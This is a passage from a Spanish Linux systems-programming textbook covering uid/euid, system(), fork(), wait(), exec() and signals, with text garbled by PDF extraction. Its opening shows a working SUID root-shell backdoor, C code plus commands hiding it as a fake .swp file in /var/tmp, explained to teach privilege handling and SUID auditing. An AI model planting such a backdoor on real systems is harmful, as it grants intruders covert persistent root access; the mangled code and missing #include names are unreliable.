    neon:~# cd /var/tmp/neon:/var/tmp# cp /bin/sh .neon:/var/tmp# chmod +s shneon:/var/tmp# mv sh .23erwjitc3tq3.swp

    Primero conseguan acceso como root (de la forma que fuera),

    seguidamente copiaban en un lugar seguro una copia de un intrprete decomandos, y habilitaban su bit de SUID. Finalmente lo escondan bajo unaapariencia de fichero temporal. La prxima vez que ese intruso accediese alsistema, a pesar de no ser root y de que root haya parcheado el fallo que diolugar a esa escalada de privilegios (fallo en algn servicio, contraseasencilla, etc.), utilizando esa mochila podr volver a tener una shell deroot:

    txipi@neon:~$ /var/tmp/.23erwjitc3tq3.swpsh-2.05b# whoamiroot

    sh-2.05b#

    Actualmente, con bash, esto no pasa. Bash es un poco ms precavida y secuida mucho de las shells con el bit de SUID activado. Por ello, adems defijarse slo en el euiddel usuario que llama a bash, comprueba tambin el uid.Utilizando las funciones que hemos visto, seremos capaces de engaarcompletamente a bash:

    #include #include #include

    int main( int argc, char **argv ){

    uid_t uid, euid;

    uid = getuid();euid = geteuid();setreuid( euid, euid );system( "/bin/bash" );

    return 0;}

  • 8/6/2019 programacion gnulinux

    40/82

    Programacin de Sistemas 38

    De esta manera, justo antes de llamar a /bin/bash nos hemos aseguradode que tanto el uid como el euid corresponden a root y la mochilafuncionar:

    neon:/var/tmp# gcc mochila.c -o .23erwjitc3tq3.swpneon:/var/tmp# chmod +s .23erwjitc3tq3.swpneon:/var/tmp# ls -l .23erwjitc3tq3.swp-rwsr-sr-x 1 root root 5003 2002-11-12 20:52 .23erwjitc3tq3.swpneon:/var/tmp# exitexittxipi@neon:~$ /var/tmp/.23erwjitc3tq3.swpsh-2.05b# whoamirootsh-2.05b#

    Por este tipo de jueguitos es por los que conviene revisar a diario loscambios que ha habido en los SUIDs del sistema ;-)

    1.5.5 Creacin y duplicacin de procesos

    Una situacin muy habitual dentro de un programa es la de crear unnuevo proceso que se encargue de una tarea concreta, descargando alproceso principal de tareas secundarias que pueden realizarseasncronamente o en paralelo. Linux ofrece varias funciones para realizaresto: system(), fork() y exec().

    Con system() nuestro programa consigue detenersu ejecucin para llamara un comando de la shell (/bin/sh tpicamente) y retornar cuando ste haya

    acabado. Si la shell no est disponible, retorna el valor 127, o 1 si seproduce un error de otro tipo. Si todo ha ido bien, system() devuelve el valorde retorno del comando ejecutado. Su prototipo es el siguiente:

    int system(const char *string);

    Donde string es la cadena que contiene el comando que queremosejecutar, por ejemplo:

    system(clear);

    Esta llamada limpiara de caracteres la terminal, llamando al comandoclear. Este tipo de llamadas a system() son muy peligrosas, ya que si noindicamos el PATH completo (/usr/bin/clear), alguien que conozca nuestrallamada (bien porque analiza el comportamiento del programa, bien por usarel comando strings, bien porque es muy muy muy sagaz), podra modificar elPATH para que apunte a su comando clear y no al del sistema (imaginemos queel programa en cuestin tiene privilegios de root y ese clear se cambia poruna copia de /bin/sh: el intruso conseguira una shell de root).

    La funcin system() bloquea el programa hasta que retorna, y ademstiene problemas de seguridad implcitos, por lo que desaconsejo su uso ms

    all de programas simples y sin importancia.

  • 8/6/2019 programacion gnulinux

    41/82

    Programacin de Sistemas 39

    La segunda manera de crear nuevos procesos es mediante fork(). Estafuncin crea un proceso nuevo o proceso hijo que es exactamente igualque el proceso padre. Si fork()se ejecuta con xito devuelve:

    Al padre: el PID del proceso hijo creado. Al hijo: el valor 0.

    Para entendernos, fork()clona los procesos (bueno, realmente es clone()quien clona los procesos, pero fork() hace algo bastante similar). Es como unamquina para replicar personas: en una de las dos cabinas de nuestramquina entra una persona con una pizarra en la mano. Se activa la mquinay esa persona es clonada. En la cabina contigua hay una persona idntica ala primera, con sus mismos recuerdos, misma edad, mismo aspecto, etc. peroal salir de la mquina, las dos copias miran sus pizarras y en la de la personaoriginal est el nmero de copia de la persona copiada y en la de la personacopia hay un cero:

    Figura 1.5.3 Duplicacin de procesos mediante fork().

    En la anterior figura vemos como nuestro incauto voluntario entra en lamquina replicadora con la pizarra en blanco. Cuando la activamos, tras unadescarga de neutrinos capaz de provocarle anginas a Radiactivoman,obtenemos una copia exacta en la otra cabina, slo que en cada una de laspizarras la mquina ha impreso valores diferentes: 123, es decir, elidentificativo de la copia, en la pizarra del original, y un 0 en la pizarra dela copia. No hace falta decir que suele ser bastante traumtico salir de unamquina como esta y comprobar que tu pizarra tiene un 0, darte cuenta

    que no eres ms que una vulgar copia en este mundo. Por suerte, losprocesos no se deprimen y siguen funcionando correctamente.

    Veamos el uso de fork() con un sencillo ejemplo:

    #include #include #include

    int main(int argc, char *argv[]){

    pid_t pid;if ( (pid=fork()) == 0 )

  • 8/6/2019 programacion gnulinux

    42/82

    Programacin de Sistemas 40

    { /* hijo */printf("Soy el hijo (%d, hijo de %d)\n", getpid(),

    getppid());}else{ /* padre */

    printf("Soy el padre (%d, hijo de %d)\n", getpid(),getppid());}

    return 0;}

    Guardamos en la variable p id el resultado de fork(). Si es 0, resulta queestamos en el proceso hijo, por lo que haremos lo que tenga que hacer elhijo. Si es distinto de cero, estamos dentro del proceso padre, por lo tantotodo el cdigo que vaya en la parte else de esa condicional slo se ejecutaren el proceso padre. La salida de la ejecucin de este programa es lasiguiente:

    txipi@neon:~$ gcc fork.c o forktxipi@neon:~$ ./forkSoy el padre (569, hijo de 314)Soy el hijo (570, hijo de 569)txipi@neon:~$ pgrep bash314

    La salida de las dos llamadas a printf(), la del padre y la del hijo, sonasncronas, es decir, podra haber salido primero la del hijo, ya que est

    corriendo en un proceso separado, que puede ejecutarse antes en un entornomultiprogramado. El hijo, 570, afirma ser hijo de 569, y su padre, 569, es asu vez hijo de la shell en la que nos encontramos, 314. Si quisiramos que elpadre esperara a alguno de sus hijos deberemos dotar de sincronismo a esteprograma, utilizando las siguientes funciones:

    pid_t wait(int *status)pid_t waitpid(pid_t pid, int *status, int options);

    La primera de ellas espera a cualquiera de los hijos y devuelve en lavariable entera status el estado de salida del hijo (si el hijo ha acabado su

    ejecucin sin error, lo normal es que haya devuelto cero). La segundafuncin, waitpid(), espera a un hijo en concreto, el que especifiquemos enpid. Ese PID o identificativo de proceso lo obtendremos al hacer la llamadaa fork() para ese hijo en concreto, por lo que conviene guardar el valordevuelto por fork(). En el siguiente ejemplo combinaremos la llamada awaitpid() con la creacin de un rbol de procesos ms complejo, con un padrey dos hijos:

    #include #include

    #include

    int main(int argc, char *argv[])

  • 8/6/2019 programacion gnulinux

    43/82

    Programacin de Sistemas 41

    {pid_t pid1, pid2;int status1, status2;

    if ( (pid1=fork()) == 0 ){ /* hijo */

    printf("Soy el primer hijo (%d, hijo de %d)\n",getpid(), getppid());}else{ /* padre */

    if ( (pid2=fork()) == 0 ){ /* segundo hijo */

    printf("Soy el segundo hijo (%d, hijo de %d)\n",getpid(), getppid());

    }else{ /* padre */

    /* Esperamos al primer hijo */

    waitpid(pid1, &status1, 0);/* Esperamos al segundo hijo */

    waitpid(pid2, &status2, 0);printf("Soy el padre (%d, hijo de %d)\n",

    getpid(), getppid());}

    }

    return 0;}

    El resultado de la ejecucin de este programa es este:

    txipi@neon:~$ gcc doshijos.c o doshijostxipi@neon:~$ ./ doshijosSoy el primer hijo (15503, hijo de 15502)Soy el segundo hijo (15504, hijo de 15502)Soy el padre (15502, hijo de 15471)txipi@neon:~$ pgrep bash15471

    Con waitpid()aseguramos que el padre va a esperar a sus dos hijos antesde continuar, por lo que el mensaje de Soy el padre. . . siempre saldr elltimo.

    Se pueden crear rboles de procesos ms complejos, veamos un ejemplode un proceso hijo que tiene a su vez otro hijo, es decir, de un procesoabuelo, otro padre y otro hijo:

    #include #include #include

    int main(int argc, char *argv[]){

    pid_t pid1, pid2;int status1, status2;

  • 8/6/2019 programacion gnulinux

    44/82

    Programacin de Sistemas 42

    if ( (pid1=fork()) == 0 ){ /* hijo (1a generacion) = padre */

    if ( (pid2=fork()) == 0 ){ /* hijo (2a generacion) = nieto */

    printf("Soy el nieto (%d, hijo de %d)\n",getpid(), getppid());

    }else{ /* padre (2a generacion) = padre */

    wait(&status2);printf("Soy el padre (%d, hijo de %d)\n",

    getpid(), getppid());}

    }else{ /* padre (1a generacion) = abuelo */

    wait(&status1);printf("Soy el abuelo (%d, hijo de %d)\n", getpid(),

    getppid());

    }

    return 0;}

    Y el resultado de su ejecucin sera:

    txipi@neon:~$ gcc hijopadrenieto.c -o hijopadrenietotxipi@neon:~$ ./hijopadrenietoSoy el nieto (15565, hijo de 15564)Soy el padre (15564, hijo de 15563)Soy el abuelo (15563, hijo de 15471)

    txipi@neon:~$ pgrep bash15471

    Tal y como hemos dispuesto las llamadas a wait(), paradjicamente elabuelo esperar a que se muera su hijo (es decir, el padre), para terminar, yel padre a que se muera su hijo (es decir, el nieto), por lo que la salida deeste programa siempre tendr el orden: nieto, padre, abuelo. Se puedenhacer rboles de procesos mucho ms complejos, pero una vez visto cmohacer mltiples hijos y cmo hacer mltiples generaciones, el resto esbastante trivial.

    Otra manera de crear nuevos procesos, bueno, ms bien de modificar losexistentes, es mediante el uso de las funciones exec(). Con estas funciones loque conseguimos es reemplazarla imagen del proceso actual por la de uncomando o programa que invoquemos, de manera similar a como lohacamos al llamar a system(). En funcin de cmo queramos realizar esallamada, elegiremos una de las siguientes funciones:

    int execl( const char *path, const char *arg, ...);int execlp( const char *file, const char *arg, ...);int execle( const char * path, const char *arg , ...,char * const envp[]);

    int execv( const char * path, char *const argv[]);int execvp( const char *file, char *const argv[]);int execve (const char *filename, char *const argv [],char *const envp[]);

  • 8/6/2019 programacion gnulinux

    45/82

    Programacin de Sistemas 43

    El primer argumento es el fichero ejecutable que queremos llamar. Lasfunciones que contienen puntos suspensivos en su declaracin indican quelos parmetros del ejecutable se incluirn ah, en argumentos separados. Lasfunciones terminadas en e ( execle()y execve()) reciben un ltimo argumento

    que es un puntero a las variables de entorno. Un ejemplo sencillo nos sacarde dudas:

    #include #include #include

    int main(int argc, char *argv[]){

    char *args[] = { "/bin/ls", NULL };

    execv("/bin/ls", args);

    printf("Se ha producido un error al ejecutar execv.\n");

    return 0;}

    La funcin elegida, execv(), recibe dos argumentos, el path al ficheroejecutable (/ b i n / l s) y un array con los parmetros que queremos pasar. Estearray tiene la misma estructura que argv[], es decir, su primer elemento es elpropio programa que queremos llamar, luego se va rellenando con losargumentos para el programa y por ltimo se finaliza con un puntero nulo

    (NULL). El printf() final no debera salir nunca, ya que para ese entonces execv()se habr encargado de reemplazar la imagen del proceso actual con la de lallamada a /bin/ls. La salida de este programa es la siguiente:

    txipi@neon:~$ gcc execv.c -o execvtxipi@neon:~$./execvdoshijos execv fil2 files.c hijopadrenieto.cdoshijos.c execv.c fil2.c hijopadrenieto

    1.5.6 Comunicacin entre procesos

    En un sistema multiprogramado, con un montn de procesos funcionandoal mismo tiempo, es necesario establecer mecanismos de comunicacin entrelos procesos para que puedan colaborar entre ellos. Existen varios enfoquesa la hora de implementar esta comunicacin.

    Podemos considerar a las seales como la forma ms primitiva decomunicacin entre procesos. El sistema utiliza seales para informar a undeterminado proceso sobre alguna condicin, realizar esperas entreprocesos, etc. Sin embargo la seal en s no es portadora de datos, a fin decuentas es una sea que se hacen de un proceso a otro, que permite a un

    proceso enterarse de una determinada condicin, pero sin podertransmitirse cantidades grandes de informacin entre ambos procesos. Ungesto con la mano puede servirte para detenerte mientras vas andando por

  • 8/6/2019 programacion gnulinux

    46/82

    Programacin de Sistemas 44

    un pasillo, pero difcilmente te transmitir toda la informacin contenida enEl Quijote (al menos con las tcnicas que yo conozco). Por lo tanto, ademsde las seales, es preciso disponer de mecanismos que permitanintercambiar datos entre los procesos.

    El enfoque ms obvio de todos es utilizar ficheros del sistema para poderescribir y leer de ellos, pero esto es lento, poco eficiente e inseguro, aunquemuy sencillo de hacer. El siguiente paso podra ser utilizar una tubera o unFIFO para intercomunicar los procesos a travs de l. El rendimiento essuperior respecto al enfoque anterior, pero slo se utilizan en casos sencillos.Imaginemos lo costoso que sera implementar un mecanismo de semforosde esta manera.

    Como evolucin de todo lo anterior lleg el sistema IPC (Inter ProcessCommunication) de System V, con sus tres tipos de comunicacin diferentes:semforos, colas de mensajes y segmentos de memoria compartida.

    Actualmente el estndar de IPC System V ha sido reemplazado por otroestndar, el IPC POSIX. Ambos implementan caractersticas avanzadas de lossistemas de comunicacin entre procesos de manera bastante eficiente, porlo que convendra pensar en su empleo a la hora de realizar una aplicacinmultiproceso bien diseada.

    1.5.6.1 Seales

    Cuando implementamos un programa, lnea a lnea vamos definiendo elcurso de ejecucin del mismo, con condicionales, bucles, etc. Sin embargohay ocasiones en las que nos interesara contemplar sucesos asncronos, es

    decir, que pueden suceder en cualquier momento, no cuando nosotros loscomprobemos. La manera ms sencilla de contemplar esto es mediante eluso de seales. La prdida de la conexin con el terminal, una interrupcinde teclado o una condicin de error como la de un proceso intentandoacceder a una direccin inexistente de memoria podran desencadenar queun proceso recibiese una seal. Una vez recibida, es tarea del procesoatrapar o capturarla y tratarla. Si una seal no se captura, el proceso muere.

    En funcin del sistema en el que nos encontremos, bien el ncleo delSistema Operativo, bien los procesos normales pueden elegir entre unconjunto de seales predefinidas, siempre que tengan los privilegios

    necesarios. Es decir, no todos los procesos se pueden comunicar conprocesos privilegiados mediante seales. Esto provocara que un usuario sinprivilegios en el sistema sera capaz de matar un proceso importantemandando una seal SIGKILL, por ejemplo. Para mostrar las seales que nosproporciona nuestro ncleo y su identificativo numrico asociado, usaremosel siguiente comando:

    txipi@neon:~$ kill -l1) SIGHUP 2) SIGINT 3) SIGQUIT 4) SIGILL5) SIGTRAP 6) SIGABRT 7) SIGBUS 8) SIGFPE9) SIGKILL 10) SIGUSR1 11) SIGSEGV 12) SIGUSR2

    13) SIGPIPE 14) SIGALRM 15) SIGTERM 17) SIGCHLD18) SIGCONT 19) SIGSTOP 20) SIGTSTP 21) SIGTTIN22) SIGTTOU 23) SIGURG 24) SIGXCPU 25) SIGXFSZ

  • 8/6/2019 programacion gnulinux

    47/82

    Programacin de Sistemas 45

    26) SIGVTALRM 27) SIGPROF 28) SIGWINCH 29) SIGIO30) SIGPWR 31) SIGSYS 32) SIGRTMIN 33) SIGRTMIN+134) SIGRTMIN+2 35) SIGRTMIN+3 36) SIGRTMIN+4 37) SIGRTMIN+538) SIGRTMIN+6 39) SIGRTMIN+7 40) SIGRTMIN+8 41) SIGRTMIN+942) SIGRTMIN+10 43) SIGRTMIN+11 44) SIGRTMIN+12 45) SIGRTMIN+1346) SIGRTMIN+14 47) SIGRTMIN+15 48) SIGRTMAX-15 49) SIGRTMAX-14

    50) SIGRTMAX-13 51) SIGRTMAX-12 52) SIGRTMAX-11 53) SIGRTMAX-1054) SIGRTMAX-9 55) SIGRTMAX-8 56) SIGRTMAX-7 57) SIGRTMAX-658) SIGRTMAX-5 59) SIGRTMAX-4 60) SIGRTMAX-3 61) SIGRTMAX-262) SIGRTMAX-1 63) SIGRTMAX

    La mayora de los identificativos numricos son los mismos en diferentesarquitecturas y sistemas UNIX, pero pueden cambiar, por lo que convieneutilizar el nombre de la seal siempre que sea posible. Linux implementa lasseales usando informacin almacenada en la task_structdel proceso. Elnmero de seales soportadas est limitado normalmente al tamao depalabra del procesador. Anteriormente, slo los procesadores con un tamaode palabra de 64 bits podan manejar hasta 64 seales, pero en la versinactual del kernel (2.4.19) disponemos de 64 seales incluso en arquitecturasde 32bits.

    Todas las seales pueden ser ignoradas o bloqueadas, a excepcin deSIGSTOP y SIGKILL, que son imposibles de ignorar. En funcin del tratamientoque especifiquemos para cada seal realizaremos la tarea predeterminada,una propia definida por el programador, o la ignoraremos (siempre que seaposible). Es decir, nuestro proceso modifica el tratamiento por defecto de laseal realizando llamadas al sistema que alteran la sigaction de la sealapropiada. Pronto veremos cmo utilizar esas llamadas al sistema en C.

    Una limitacin importante de las seales es que no tienen prioridadesrelativas, es decir, si dos seales llegan al mismo tiempo a un proceso puedeque sean tratada